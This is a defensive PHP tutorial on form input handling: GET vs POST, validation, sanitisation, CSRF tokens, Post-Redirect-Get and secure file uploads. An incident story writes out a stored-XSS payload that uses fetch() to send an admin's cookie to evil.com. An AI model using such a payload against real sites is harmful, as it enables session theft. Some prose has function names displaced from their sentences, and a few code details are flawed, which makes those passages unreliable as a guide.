PHP Form Input — The XSS Attack That Stole Admin Sessions
A single unescaped comment form stole admin cookies.
20+ years shipping production PHP systems at scale. Written from production experience, not tutorials.
- ✓Basic programming fundamentals
- ✓A computer with internet access
- ✓Willingness to follow along with examples
- PHP automatically populates $_GET or $_POST based on the form's method attribute
- GET appends data to the URL (bookmarkable) — use for searches and filters
- POST sends data invisibly in the request body — use for login, orders, and any data modifications
- htmlspecialchars() is the first line of defense against XSS attacks
- Server-side validation is mandatory; client-side is just a convenience layer
- The null coalescing operator (??) prevents undefined index notices on initial page load
PHP form input is the primary mechanism for collecting user-submitted data on the web, but it's also the most common attack surface for server-side vulnerabilities. When a browser sends form data via HTTP GET or POST, PHP makes that data available through the $_GET and $_POST superglobals.
The core problem is that this data arrives as raw strings — it's just text from the network. If you echo that text into an HTML page without escaping, you've created a reflected XSS vector. If you store it in a database and later display it, you've built a stored XSS bomb that can steal admin sessions, deface pages, or exfiltrate cookies.
The infamous Samy worm on MySpace (2005) used exactly this pattern: unescaped form input stored in profile fields, then rendered as JavaScript in visitors' browsers.
In the PHP ecosystem, form input handling sits between the HTTP layer and your application logic. The alternatives are not using forms at all (REST APIs with JSON payloads, which still need validation) or using a framework like Laravel or Symfony that provides built-in request validation and output escaping.
You should never use raw $_GET or $_POST directly in production — always validate type, length, and format first, then sanitize for the output context (HTML, SQL, JSON, etc.). The Post-Redirect-Get pattern solves the double-submission problem where users refresh after a POST, resending the same form data and potentially creating duplicate orders or payments.
This is a production pattern, not a security fix, but it's essential for data integrity. The rule is simple: validate everything, escape everything, and never trust the browser.
Imagine a paper form at the doctor's office — you fill in your name, date of birth, and symptoms, then hand it to the receptionist who reads it and does something with it. A PHP form works exactly the same way: the HTML page is the paper form, the user fills it in, and when they hit Submit, PHP is the receptionist on the other side who reads every field and decides what to do next. Without this mechanism, websites could only show you information — they could never take any from you.
Almost every useful thing on the web involves a form. Logging into Instagram, searching on Google, buying something on Amazon, leaving a comment — all of it starts with a user typing something and hitting a button. If you want to build anything interactive with PHP, understanding how forms work is not optional, it is the very foundation everything else sits on.
Before PHP (and server-side languages like it), web pages were just static documents — like a poster on a wall. You could look at them but not talk back. PHP solved this by giving the server the ability to receive data from the browser, process it, and respond dynamically. That two-way conversation between the browser and the server is what makes the modern web feel alive.
By the end of this article you will know how to build an HTML form, send its data to a PHP script using both GET and POST methods, read and display that data safely, validate it so bad input gets rejected, and understand the security pitfalls every beginner trips over. You will have working, runnable code you can drop straight into your own project.
How PHP Form Input Becomes a Backdoor
PHP form input is any data sent via HTTP POST, GET, or request body from an HTML form — accessed through superglobals like $_POST, $_GET, or $_REQUEST. The core mechanic is that PHP treats this data as a string or array of strings, with zero built-in validation or sanitization. That means every form field, from a login password to a hidden input, arrives in your script exactly as the client sent it, including malicious payloads.
In practice, the critical property is that user input is untrusted by default. A form submission can contain HTML tags, JavaScript, SQL fragments, or binary data — PHP does not distinguish between a benign name field and a crafted XSS vector. The only layer between raw input and your application logic is your own filtering, escaping, or validation code. If you echo $_POST['username'] directly into a page, you've just injected whatever the attacker typed.
You must treat every form input as hostile until proven safe. This matters because the most common attack — reflected XSS via form fields — can steal session cookies, CSRF tokens, or perform actions as the victim. Real systems get owned not by complex exploits but by a simple <script> tag in a comment form that wasn't escaped.
htmlspecialchars() with ENT_QUOTES and UTF-8 encoding.htmlspecialchars() before rendering in HTML.How a Form Actually Sends Data to PHP — The Full Picture
Before writing a single line of PHP, you need to understand the journey data takes from the browser to your script. When a user fills out a form and clicks Submit, the browser packages up every field into a request and sends it to the URL specified in the form's action attribute. The method attribute decides HOW that data travels — either stuck onto the URL (GET) or tucked inside the request body (POST).
Think of GET like writing a note on the outside of an envelope — anyone who sees the envelope can read it, and the note becomes part of the address. POST is like putting the note inside a sealed envelope — it still gets delivered, but it is not visible on the outside.
On the PHP side, the language automatically unpacks that envelope for you and stores every field in a special array called a superglobal. If the form used GET, your data lands in $_GET. If it used POST, it lands in $_POST. You do not have to do anything special to make this happen — PHP does it automatically on every single request. Your job is to reach into those arrays and use the values responsibly.
<?php // ───────────────────────────────────────────── // contact_form.php // A single file that shows the form AND handles // the submission — this pattern is called a // 'self-processing form' and is very common. // ───────────────────────────────────────────── // Check whether the form has actually been submitted. // $_SERVER['REQUEST_METHOD'] tells us HOW this page was requested. // On first load it is 'GET' (just visiting the page). // After the user clicks Submit it becomes 'POST'. $formWasSubmitted = ($_SERVER['REQUEST_METHOD'] === 'POST'); $userName = ''; // Will hold the cleaned name value $userMessage = ''; // Will hold the cleaned message value $feedbackToUser = ''; // What we show the user after submission if ($formWasSubmitted) { // htmlspecialchars() converts dangerous characters like < > & into // safe display versions. This stops basic XSS attacks. // FILTER_DEFAULT trims nothing — we handle that manually. $userName = htmlspecialchars(trim($_POST['name'])); $userMessage = htmlspecialchars(trim($_POST['message'])); // trim() removes accidental spaces at the start and end. // Without it, ' Alice ' and 'Alice' would be treated differently. $feedbackToUser = "Thanks, $userName! We received your message."; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Contact Us</title> </head> <body> <h1>Contact Us</h1> <?php if ($feedbackToUser !== ''): ?> <!-- Only render this block when there IS a message to show --> <p style="color: green;"><?= $feedbackToUser ?></p> <?php endif; ?> <!-- action="" means 'send back to THIS same file' --> <!-- method="post" means data goes in the request body, not the URL --> <form action="" method="post"> <label for="name">Your Name:</label><br> <!-- The 'name' attribute on each input is the KEY in $_POST --> <input type="text" id="name" name="name" value="<?= htmlspecialchars($userName) ?>"> <br><br> <label for="message">Your Message:</label><br> <textarea id="message" name="message" rows="4" cols="40" ><?= htmlspecialchars($userMessage) ?></textarea> <br><br> <button type="submit">Send Message</button> </form> </body> </html>
GET vs POST — Choosing the Right Method Every Time
This is one of those decisions that matters more than it looks. GET and POST are not just two ways to do the same thing — they are designed for fundamentally different situations, and picking the wrong one causes real problems.
GET appends form data to the URL as a query string, like /search.php?query=shoes&size=10. This is perfect for searches and filters because the URL is now shareable and bookmarkable. Hit refresh and nothing bad happens — you are just re-running the same search. GET requests are also cached by browsers, which can speed things up.
POST sends data invisibly in the request body. Use POST whenever you are changing something — logging in, submitting a comment, placing an order, updating a profile. If you used GET for a login form, the password would appear in the URL, in browser history, and in server logs. That is a serious security issue. POST also avoids the 'double submission' problem: most browsers warn you before resubmitting a POST request, which prevents accidental duplicate orders.
The rule of thumb: GET is for asking questions (reading data). POST is for taking action (writing or changing data).
<?php // ───────────────────────────────────────────── // search_with_get.php // Demonstrates GET — ideal for a search form // because the results URL can be bookmarked. // e.g. /search_with_get.php?keyword=laptop&category=electronics // ───────────────────────────────────────────── // isset() checks that the key actually EXISTS in $_GET. // Without this check, accessing $_GET['keyword'] on a fresh // page load causes an 'Undefined index' notice. $searchKeyword = isset($_GET['keyword']) ? htmlspecialchars(trim($_GET['keyword'])) : ''; $selectedCategory = isset($_GET['category']) ? htmlspecialchars(trim($_GET['category'])) : 'all'; // Simulate a product list (in a real app this comes from a database) $allProducts = [ ['name' => 'Laptop Pro 15', 'category' => 'electronics'], ['name' => 'Wireless Mouse', 'category' => 'electronics'], ['name' => 'Running Shoes', 'category' => 'footwear'], ['name' => 'Leather Boots', 'category' => 'footwear'], ]; // Filter products based on the search input $matchingProducts = array_filter($allProducts, function($product) use ($searchKeyword, $selectedCategory) { $nameMatches = ($searchKeyword === '' || stripos($product['name'], $searchKeyword) !== false); $categoryMatches = ($selectedCategory === 'all' || $product['category'] === $selectedCategory); return $nameMatches && $categoryMatches; }); ?> <!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Product Search</title></head> <body> <h1>Search Products</h1> <!-- method="get" — results URL becomes shareable/bookmarkable --> <form action="" method="get"> <label for="keyword">Search:</label> <!-- value= re-fills the box after submission so user sees what they typed --> <input type="text" id="keyword" name="keyword" value="<?= $searchKeyword ?>" placeholder="e.g. laptop"> <label for="category">Category:</label> <select id="category" name="category"> <option value="all" <?= $selectedCategory === 'all' ? 'selected' : '' ?>>All</option> <option value="electronics" <?= $selectedCategory === 'electronics' ? 'selected' : '' ?>>Electronics</option> <option value="footwear" <?= $selectedCategory === 'footwear' ? 'selected' : '' ?>>Footwear</option> </select> <button type="submit">Search</button> </form> <hr> <h2>Results</h2> <?php if (empty($matchingProducts)): ?> <p>No products found. Try a different search.</p> <?php else: ?> <ul> <?php foreach ($matchingProducts as $product): ?> <!-- Each result is safely echoed — already sanitised above --> <li><?= $product['name'] ?> <em>(<?= $product['category'] ?>)</em></li> <?php endforeach; ?> </ul> <?php endif; ?> </body> </html>
Validating User Input — Never Trust What the Browser Sends
Here is the most important mindset shift in all of web development: treat every piece of data from a form as potentially hostile until you have checked it yourself. Users make typos. Some users are malicious. Either way, your PHP script has to decide what counts as valid input and reject everything that does not meet that standard.
Validation happens on two levels. Client-side validation (HTML required, type="email", etc.) gives users instant feedback without a page reload — great for user experience. But it is trivially bypassed: anyone can open browser dev tools and remove the required attribute, or send a raw HTTP request with no browser at all. Server-side validation in PHP is the real gatekeeper, and it is non-negotiable.
For each field, ask yourself three questions: Is it present? Is it the right type/format? Is it within acceptable limits? PHP gives you powerful tools for this: empty() to catch blank values, filter_var() to validate emails and URLs, strlen() for length checks, and preg_match() for pattern matching. Doing these checks consistently is what separates a toy project from a production-ready application.
<?php // ───────────────────────────────────────────── // registration_form.php // Full server-side validation example. // Shows how to collect errors and re-display // the form with helpful messages. // ───────────────────────────────────────────── $formWasSubmitted = ($_SERVER['REQUEST_METHOD'] === 'POST'); // Store all validation error messages here. // Key = field name, Value = error string. $validationErrors = []; // Keep old input so the form re-fills after a failed submission. // The user should NOT have to retype everything just because one // field was wrong — that is a terrible user experience. $oldInput = [ 'username' => '', 'email' => '', 'age' => '', ]; if ($formWasSubmitted) { // ── Collect raw values ────────────────────────────── // We store raw (unsanitised) values in $oldInput so we // can re-fill the form. We sanitise later, after validation. $rawUsername = trim($_POST['username'] ?? ''); $rawEmail = trim($_POST['email'] ?? ''); $rawAge = trim($_POST['age'] ?? ''); $oldInput = [ 'username' => htmlspecialchars($rawUsername), 'email' => htmlspecialchars($rawEmail), 'age' => htmlspecialchars($rawAge), ]; // ── Validate: Username ────────────────────────────── if (empty($rawUsername)) { $validationErrors['username'] = 'Username is required.'; } elseif (strlen($rawUsername) < 3 || strlen($rawUsername) > 20) { $validationErrors['username'] = 'Username must be 3–20 characters.'; } elseif (!preg_match('/^[a-zA-Z0-9_]+$/', $rawUsername)) { // Only letters, numbers, and underscores allowed $validationErrors['username'] = 'Username can only contain letters, numbers and underscores.'; } // ── Validate: Email ───────────────────────────────── if (empty($rawEmail)) { $validationErrors['email'] = 'Email address is required.'; } elseif (!filter_var($rawEmail, FILTER_VALIDATE_EMAIL)) { // FILTER_VALIDATE_EMAIL returns false if the format is invalid $validationErrors['email'] = 'Please enter a valid email address.'; } // ── Validate: Age ─────────────────────────────────── if (empty($rawAge)) { $validationErrors['age'] = 'Age is required.'; } elseif (!ctype_digit($rawAge)) { // ctype_digit() returns true ONLY if every character is 0-9 // This rejects '25.5', '-1', '25abc' etc. $validationErrors['age'] = 'Age must be a whole number.'; } elseif ((int)$rawAge < 13 || (int)$rawAge > 120) { $validationErrors['age'] = 'Age must be between 13 and 120.'; } // ── Only proceed if zero errors ───────────────────── if (empty($validationErrors)) { // At this point data is valid. Safe to use. $cleanUsername = htmlspecialchars($rawUsername); $cleanEmail = filter_var($rawEmail, FILTER_SANITIZE_EMAIL); $cleanAge = (int)$rawAge; // In a real app: save to database, send welcome email, etc. // For now, just show a success message. echo "<!DOCTYPE html><html><body>"; echo "<h1>Registration Successful!</h1>"; echo "<p>Welcome, <strong>$cleanUsername</strong>! "; echo "We sent a confirmation to $cleanEmail.</p>"; echo "</body></html>"; exit; // Stop further output — do not show the form again } } ?> <!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Register</title> <style> .error { color: red; font-size: 0.9em; } label { display: block; margin-top: 12px; font-weight: bold; } input { padding: 6px; width: 250px; } </style> </head> <body> <h1>Create an Account</h1> <form action="" method="post" novalidate> <!-- novalidate disables browser validation so PHP is the sole gatekeeper --> <label for="username">Username</label> <input type="text" id="username" name="username" value="<?= $oldInput['username'] ?>"> <!-- Show error only if this field has one --> <?php if (isset($validationErrors['username'])): ?> <span class="error"><?= $validationErrors['username'] ?></span> <?php endif; ?> <label for="email">Email Address</label> <input type="email" id="email" name="email" value="<?= $oldInput['email'] ?>"> <?php if (isset($validationErrors['email'])): ?> <span class="error"><?= $validationErrors['email'] ?></span> <?php endif; ?> <label for="age">Age</label> <input type="number" id="age" name="age" value="<?= $oldInput['age'] ?>"> <?php if (isset($validationErrors['age'])): ?> <span class="error"><?= $validationErrors['age'] ?></span> <?php endif; ?> <br><br> <button type="submit">Register</button> </form> </body> </html>
empty() after trim() — empty string, '0', null are all considered empty.ctype_digit() first, then cast to int and compare with >= and <=.Input Filtering and Sanitisation — When Validation Passes But Data Is Still Dangerous
Validation tells you the input is the right shape. But even valid input can contain dangerous content. For example, a perfectly valid email address like <script>alert(1)</script>@x.com would pass filter_var(FILTER_VALIDATE_EMAIL) — yes, it's technically a valid RFC-compliant email. But if you echo that back into HTML, you've got an XSS vulnerability.
Sanitisation transforms the data into a safe form without necessarily rejecting it. PHP provides for HTML output, htmlspecialchars()filter_var($email, FILTER_SANITIZE_EMAIL) to strip invalid characters from emails, and to remove HTML tags (though use with caution — it can be bypassed if not combined with encoding).strip_tags()
The key difference: validation rejects bad data, sanitisation scrubs data that is structurally valid but still unsafe for a given context. You need both. And you need to sanitise for the output context — what is safe for a database is not safe for an HTML page, which is not safe for a JSON API.
<?php // ───────────────────────────────────────────── // sanitise_example.php // Demonstrates safe sanitisation before output // and before database storage. // ───────────────────────────────────────────── $rawDescription = $_POST['description'] ?? ''; // Step 1: validate basic structure (e.g., not too long) if (strlen($rawDescription) > 500) { die('Description too long.'); } // Step 2: sanitise for HTML output (always) $safeForHTML = htmlspecialchars($rawDescription, ENT_QUOTES, 'UTF-8'); // Step 3: sanitise for database storage (strip any SQL-metacharacters) // Escaping is done by prepared statements, but you can also strip tags $safeForDB = strip_tags($rawDescription); // removes HTML/script tags // Later, when displaying: echo "<p>$safeForHTML</p>"; // When storing: // $stmt->bindParam(':desc', $safeForDB); // (Prepared statements handle the rest.) ?> <form method="post"> <textarea name="description"><?= $safeForHTML ?></textarea> <button type="submit">Submit</button> </form>
json_encode()). For SQL, use prepared statements, not manual escaping. Always sanitise for the context where the data will be used.strip_tags() as the only sanitisation and thinking it's enough.htmlspecialchars() for output.rawurlencode() depending on context — never just htmlspecialchars.The Post-Redirect-Get Pattern — Stop Double Submissions in Production
Here's a scenario every developer has faced: a user submits a form, the order goes through, and then they refresh the page. The browser warns 'Confirm resubmission'. If the user clicks confirm, the order is submitted again — duplicate record, double charge, angry customer.
The Post-Redirect-Get (PRG) pattern solves this. After successfully processing a POST request, the server sends a 302 redirect to a GET URL (often the same page with a success parameter). The browser then issues a new GET request. If the user refreshes now, they just reload the GET page — no resubmission.
Implementing PRG in PHP is straightforward: after validation passes and the action is complete, call header('Location: success.php') and exit. The user lands on a separate page that cannot be resubmitted by a refresh.
<?php // ───────────────────────────────────────────── // order_form.php // Demonstrates Post-Redirect-Get pattern. // ───────────────────────────────────────────── session_start(); $formWasSubmitted = ($_SERVER['REQUEST_METHOD'] === 'POST'); if ($formWasSubmitted) { // Validate and process the order... $productId = $_POST['product_id'] ?? ''; // (validation omitted for brevity) // Process the order (save to database, charge card, etc.) // ... // Store success message in session for display after redirect $_SESSION['order_success'] = "Order placed successfully!"; // Redirect to the same page (or a success page) header('Location: order_form.php?status=success'); exit; // Ensure no further output } $statusMessage = ''; if (isset($_GET['status']) && $_GET['status'] === 'success') { // Retrieve flash message from session if (isset($_SESSION['order_success'])) { $statusMessage = $_SESSION['order_success']; unset($_SESSION['order_success']); // Clean up } } ?> <!DOCTYPE html> <html> <head><title>Place Order</title></head> <body> <?php if ($statusMessage): ?> <p style="color:green;"><?= htmlspecialchars($statusMessage) ?></p> <?php endif; ?> <form method="post" action=""> <label>Product ID: <input type="text" name="product_id" required></label> <button type="submit">Place Order</button> </form> </body> </html>
Advanced Security: Preventing CSRF, SQL Injection, and Session Hijacking in Forms
You've validated and sanitised input, but your form is still vulnerable to other attacks. Cross-Site Request Forgery (CSRF) tricks an authenticated user into performing an action they didn't intend — like changing their email or transferring money. SQL injection happens when unsanitised data is concatenated into SQL queries. And if you store session data poorly, an attacker can hijack a user's session.
CSRF prevention: include a unique, random token in every form that processes data. The token is stored in the user's session and validated on submission. Laravel and Symfony handle this automatically with middleware. In raw PHP, generate a token with bin2hex(random_bytes(32)) and compare.
SQL injection: never use string interpolation in SQL queries. Use prepared statements (PDO or MySQLi). If you are using mysqli::prepare, you're safe.
Session hijacking: regenerate session ID after login (session_regenerate_id()), use HTTPS, and set the session cookie with HttpOnly and Secure flags.
<?php // ───────────────────────────────────────────── // secure_form.php // A form with CSRF protection and safe DB access. // ───────────────────────────────────────────── session_start(); $errors = []; // Generate CSRF token if not existing if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } if ($_SERVER['REQUEST_METHOD'] === 'POST') { // CSRF check $submittedToken = $_POST['csrf_token'] ?? ''; if (!hash_equals($_SESSION['csrf_token'], $submittedToken)) { $errors[] = 'Invalid or expired form token. Please submit again.'; } // Validate other fields... $email = filter_var($_POST['email'] ?? '', FILTER_VALIDATE_EMAIL); if (!$email) { $errors[] = 'Invalid email.'; } if (empty($errors)) { // Safe database insertion using PDO prepared statement $pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass'); $stmt = $pdo->prepare('INSERT INTO subscriptions (email) VALUES (:email)'); $stmt->execute(['email' => $email]); // Regenerate token after successful use to prevent replay $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); header('Location: secure_form.php?success=1'); exit; } } ?> <form method="post"> <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>"> <label>Email: <input type="email" name="email" required></label> <button type="submit">Subscribe</button> </form> <?php foreach ($errors as $error): ?> <p style="color:red;"><?= htmlspecialchars($error) ?></p> <?php endforeach; ?>
Form Attributes That Bite Back in Production
Every HTML form attribute is a security boundary or a UX landmine. The action attribute? That's where data goes to die if you hardcode it wrong. Relative paths break behind reverse proxies. Always use absolute URLs with htmlspecialchars($_SERVER['PHP_SELF']) to prevent open redirects. The method attribute decides visibility: GET bleeds data into server logs and browser history. POST hides it but doesn't encrypt it. SSL is mandatory, not optional. The name attribute is your access key in PHP — misspell it and your app silently processes null. Use filter_has_var(INPUT_POST, 'field_name') to check existence before accessing $_POST. The target attribute controls response rendering: _blank opens new tabs, _self replaces current page. That matters for flash messages and error states. In production, every form attribute is a contract. Break it and you ship data to the void.
// io.thecodeforge <?php // Absolute action URL with self-referencing protection $action_url = htmlspecialchars( (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), ENT_QUOTES, 'UTF-8' ); // Verify required field exists before use if (filter_has_var(INPUT_POST, 'username')) { $username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING); } else { http_response_code(400); exit('Missing required username field.'); } ?> <form method="post" action="<?= $action_url ?>" target="_self"> <input type="text" name="username" required> <button type="submit">Submit</button> </form>
action="" to POST to itself. Browsers resolve empty actions differently. Use full URL generation to avoid cross-site POST to attacker-controlled endpoints.Form Elements Are Attack Vectors, Not Just UI Widgets
A <select> dropdown? Malicious clients submit values not in your options list. Checkboxes? They send 'on' when checked, nothing when unchecked — your backend must handle both states. Textarea allows multi-line injection. The worst suspect: <input type="file">. File uploads are the most common entry point for remote code execution in PHP. PHP's $_FILES is not safe by default. Always validate $_FILES['file']['error'] === UPLOAD_ERR_OK before trusting anything. Check MIME types server-side with — never trust the browser's content-type. File size limits in finfo_file()php.ini (upload_max_filesize, post_max_size) are your first line of defense. Use not move_uploaded_file() to prevent path traversal. Hidden inputs (copy()<input type="hidden">) are not secure — they're visible in page source. Never put pricing, user IDs, or tokens there without server-side verification. Every element is a data source that must be treated as hostile. The browser is an untrusted client. Your form elements are the vector; PHP is your airlock.
// io.thecodeforge <?php $allowed_types = ['image/jpeg', 'image/png']; $max_size = 2 * 1024 * 1024; // 2 MB if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['avatar'])) { $file = $_FILES['avatar']; // Check for upload errors if ($file['error'] !== UPLOAD_ERR_OK) { http_response_code(400); exit('Upload failed with error code: ' . $file['error']); } // Validate MIME type server-side $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); if (!in_array($mime_type, $allowed_types, true)) { http_response_code(400); exit('Invalid file type. Allowed: ' . implode(', ', $allowed_types)); } // Validate file size if ($file['size'] > $max_size) { http_response_code(413); exit('File too large. Maximum: ' . ($max_size / 1024 / 1024) . ' MB'); } // Safe move $destination = '/var/www/uploads/' . bin2hex(random_bytes(16)) . '.' . pathinfo($file['name'], PATHINFO_EXTENSION); if (!move_uploaded_file($file['tmp_name'], $destination)) { http_response_code(500); exit('Failed to store file.'); } echo 'File uploaded to: ' . htmlspecialchars($destination); } ?>
move_uploaded_file() are non-negotiable.Validation with PHP 8 Attributes
PHP 8 introduced attributes, a modern way to add metadata to classes, methods, and properties. For input validation, attributes can define rules directly on DTO properties, making validation declarative and reusable. Instead of manual if-else checks, you can use a library like Symfony Validator with PHP 8 attributes to enforce rules like #[NotBlank], #[Email], or #[Length(min: 3, max: 255)]. This approach centralizes validation logic, reduces boilerplate, and integrates seamlessly with forms. Example: a UserRegistrationDto class with attributes for each field. When processing form input, you instantiate the DTO, populate it with $_POST data, and call a validator. If validation fails, you collect errors and re-render the form. This pattern is especially powerful in frameworks like Symfony or Laravel, but can be used standalone with the symfony/validator component. Attributes also support custom validators, enabling complex business rules. By adopting PHP 8 attributes, you make validation explicit, testable, and maintainable, aligning with modern PHP practices.
<?php use Symfony\Component\Validator\Validation; use Symfony\Component\Validator\Constraints as Assert; class UserRegistrationDto { public function __construct( #[Assert\NotBlank(message: 'Username is required.')] #[Assert\Length(min: 3, max: 50)] public readonly string $username, #[Assert\NotBlank] #[Assert\Email] public readonly string $email, #[Assert\NotBlank] #[Assert\Length(min: 8)] public readonly string $password, ) {} } // Usage $data = $_POST; $dto = new UserRegistrationDto($data['username'], $data['email'], $data['password']); $validator = Validation::createValidatorBuilder() ->enableAttributeMapping() ->getValidator(); $violations = $validator->validate($dto); if (count($violations) > 0) { foreach ($violations as $violation) { echo $violation->getMessage() . "\n"; } }
CSRF Protection with Modern PHP Practices
Cross-Site Request Forgery (CSRF) attacks trick authenticated users into submitting unwanted actions. Modern PHP practices use token-based protection: generate a unique, unpredictable token per session, embed it in forms, and verify it on submission. PHP 8.1+ offers sodium functions for secure random bytes. Use random_bytes() to generate a token, store it in the session, and compare with hash_equals() to prevent timing attacks. For frameworks, Symfony and Laravel provide built-in CSRF protection. In plain PHP, implement a middleware that checks POST requests for a valid token. Example: generate token on login, store in $_SESSION['csrf_token'], include as hidden input in forms. On submission, retrieve the token from session and POST data, then compare with hash_equals(). If mismatch, reject the request. For AJAX, send the token via a custom header or meta tag. Always regenerate tokens after sensitive actions (e.g., password change) to limit exposure. CSRF protection is mandatory for any form that changes state (POST, PUT, DELETE).
<?php session_start(); // Generate token if not exists if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } // Verify token on POST if ($_SERVER['REQUEST_METHOD'] === 'POST') { $submittedToken = $_POST['csrf_token'] ?? ''; if (!hash_equals($_SESSION['csrf_token'], $submittedToken)) { http_response_code(403); die('CSRF token mismatch.'); } // Process form } // In form HTML ?> <form method="post"> <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8') ?>"> <!-- other fields --> <button type="submit">Submit</button> </form>
hash_equals() to prevent timing attacks.File Upload Security in PHP 8
File uploads are a common attack vector. PHP 8 provides improved tools for secure handling. Always validate file type by MIME type (using finfo), not extension. Check file size against upload_max_filesize and post_max_size in php.ini. Use and is_uploaded_file() to prevent path traversal. Store files outside the web root with hashed filenames to prevent direct access. For images, re-encode them to strip malicious code (e.g., using GD or Imagick). Set proper file permissions (e.g., 0644). Use move_uploaded_file() for image validation. In PHP 8, use exif_imagetype() or mime_content_type()finfo for MIME detection. Example: validate that uploaded file is a JPEG with size under 2MB. Move to a non-public directory with a UUID filename. Serve files via a PHP script that checks permissions and streams the file. Always limit allowed MIME types to a whitelist. Disable execution in upload directories via .htaccess or nginx config. Log all upload attempts for auditing.
<?php $allowedMimeTypes = ['image/jpeg', 'image/png']; $maxFileSize = 2 * 1024 * 1024; // 2MB if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; // Check for upload errors if ($file['error'] !== UPLOAD_ERR_OK) { die('Upload failed with error code ' . $file['error']); } // Validate file size if ($file['size'] > $maxFileSize) { die('File too large.'); } // Validate MIME type using finfo $finfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); if (!in_array($mimeType, $allowedMimeTypes, true)) { die('Invalid file type.'); } // Generate safe filename $extension = pathinfo($file['name'], PATHINFO_EXTENSION); $newFilename = bin2hex(random_bytes(16)) . '.' . $extension; $uploadDir = __DIR__ . '/uploads/'; // Outside web root if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } if (move_uploaded_file($file['tmp_name'], $uploadDir . $newFilename)) { echo 'File uploaded successfully.'; } else { die('Failed to move uploaded file.'); } }
The Unvalidated Comment Form That Leaked Admin Credentials
htmlspecialchars(). The attacker injected <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>. When an admin viewed the comment in the dashboard, the script executed and sent their session cookie to the attacker.- Never echo raw user input —
htmlspecialchars()is not optional, it's the cost of entry for any PHP form. - Client-side validation is a UX feature, not a security boundary. Assume every request can come from curl with no browser.
- CSP headers add a second layer of defense — even if XSS slips through, the script won't execute.
<?php var_dump($_POST); ?> at the top of the handler to see what PHP received.tail -f /var/log/apache2/error.log (or php-fpm log) to catch errors.Search the codebase for $_POST or $_GET accesses not guarded by isset() or the ?? operator.Enable E_NOTICE on local dev: error_reporting(E_ALL); ini_set('display_errors', 1);grep -rn 'echo.*$_' *.php | grep -v 'htmlspecialchars' to find unescaped output.Temporarily add header('Content-Security-Policy: default-src \'self\''); to block inline scripts.| Feature / Aspect | GET Method | POST Method |
|---|---|---|
| Data location | Appended to the URL (?key=value) | Sent in the request body, not visible in URL |
| Bookmarkable / Shareable | Yes — URL captures the full state | No — data is not in the URL |
| Browser back/refresh | Safe — just re-runs the same request | Browser warns before re-submitting |
| Data size limit | ~2,000 characters (URL length limit) | Effectively unlimited (server config dependent) |
| Security for sensitive data | Poor — visible in URL, logs, history | Better — not stored in URL or browser history |
| Caching by browser/proxy | Yes — responses can be cached | No — POST responses are not cached |
| PHP superglobal used | $_GET | $_POST |
| Typical use case | Search forms, filters, pagination | Login, registration, payments, file uploads |
| Idempotent (safe to repeat)? | Yes — repeating has no side effects | No — repeating could create duplicate records |
| File | Command / Code | Purpose |
|---|---|---|
| contact_form.php | $formWasSubmitted = ($_SERVER['REQUEST_METHOD'] === 'POST'); | How a Form Actually Sends Data to PHP |
| search_with_get.php | $searchKeyword = isset($_GET['keyword']) | GET vs POST |
| registration_form.php | $formWasSubmitted = ($_SERVER['REQUEST_METHOD'] === 'POST'); | Validating User Input |
| sanitise_example.php | $rawDescription = $_POST['description'] ?? ''; | Input Filtering and Sanitisation |
| order_form.php | session_start(); | The Post-Redirect-Get Pattern |
| secure_form.php | session_start(); | Advanced Security |
| form_handler.php | $action_url = htmlspecialchars( | Form Attributes That Bite Back in Production |
| file_upload_handler.php | $allowed_types = ['image/jpeg', 'image/png']; | Form Elements Are Attack Vectors, Not Just UI Widgets |
| validation-attributes.php | use Symfony\Component\Validator\Validation; | Validation with PHP 8 Attributes |
| csrf-protection.php | session_start(); | CSRF Protection with Modern PHP Practices |
| file-upload.php | $allowedMimeTypes = ['image/jpeg', 'image/png']; | File Upload Security in PHP 8 |
Key takeaways
htmlspecialchars() first. Skipping this one step is the root cause of most XSS vulnerabilities in beginner PHP apps.Interview Questions on This Topic
What is the difference between $_GET and $_POST in PHP, and how do you decide which one to use for a given form?
A user submits a form with their name as . Your PHP script echoes it back to the page. What happens, and how do you fix it?
If you refresh a page after submitting a POST form, the browser asks 'Are you sure you want to resubmit?' — why does this happen, and what is the standard way to prevent the same form from being processed twice?
Explain how to implement CSRF protection for a PHP form that handles user deletion.
hash_equals() to prevent timing attacks. 4) If they don't match, reject the request. 5) Regenerate the token after successful submission to prevent replay attacks. This renders CSRF attacks ineffective because the attacker cannot guess the token stored in the victim's session.Frequently Asked Questions
$_GET holds data sent via the URL query string (e.g. page.php?name=Alice), making it visible and bookmarkable — ideal for searches. $_POST holds data sent in the HTTP request body, keeping it out of the URL — required for passwords, login forms, and anything that modifies data. Both are superglobal arrays PHP populates automatically on every request.
Use the null coalescing operator: $value = $_POST['fieldname'] ?? ''. This returns the value if it exists, or an empty string if it does not, without throwing any notice. Alternatively, check with isset($_POST['fieldname']) before accessing the key. This is especially important on the first page load before the form has been submitted.
No — HTML validation is browser-side only and can be completely bypassed by disabling JavaScript, using browser dev tools, or sending a raw HTTP request with tools like curl or Postman. It improves user experience but provides zero security. Every field must also be validated inside your PHP script on the server before you use or store the data.
